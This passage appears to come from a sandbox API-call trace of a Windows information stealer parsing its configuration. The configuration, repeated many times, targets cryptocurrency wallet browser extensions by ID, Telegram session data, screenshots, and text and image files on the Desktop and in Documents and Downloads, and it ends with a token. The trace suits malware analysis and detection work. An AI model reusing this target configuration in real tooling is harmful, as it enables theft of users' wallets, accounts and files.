Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.613] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1262 [0260.613] LocalAlloc (uFlags=0x40, uBytes=0xa5c) returned 0x6bb4d8 [0260.613] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.613] LocalFree (hMem=0x6bb4d8) returned 0x0 [0260.613] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.613] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.613] LocalFree (hMem=0x6b9720) returned 0x0 [0260.699] LocalFree (hMem=0x6ba108) returned 0x0 [0260.702] LocalFree (hMem=0x6baaf0) returned 0x0 [0260.708] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.708] lstrlenW (lpString="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1186 [0260.708] lstrlenW (lpString="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1186 [0260.722] LocalAlloc (uFlags=0x40, uBytes=0x944) returned 0x6b9720 [0260.722] lstrlenW (lpString="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1186 [0260.722] LocalAlloc (uFlags=0x40, uBytes=0x944) returned 0x6ba070 [0260.722] lstrlenW (lpString="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1186 [0260.725] LocalAlloc (uFlags=0x40, uBytes=0x944) returned 0x6ba9c0 [0260.725] StrStrW (lpFirst="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.731] lstrlenW (lpString="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1186 [0260.731] LocalAlloc (uFlags=0x40, uBytes=0x9c4) returned 0x6bb310 [0260.732] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.732] LocalFree (hMem=0x6bb310) returned 0x0 [0260.737] StrStrW (lpFirst="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.832] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.832] LocalFree (hMem=0x6b9720) returned 0x0 [0260.832] LocalFree (hMem=0x6ba070) returned 0x0 [0260.833] LocalFree (hMem=0x6ba9c0) returned 0x0 [0260.833] StrStrW (lpFirst="ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.833] lstrlenW (lpString="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1112 [0260.833] lstrlenW (lpString="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 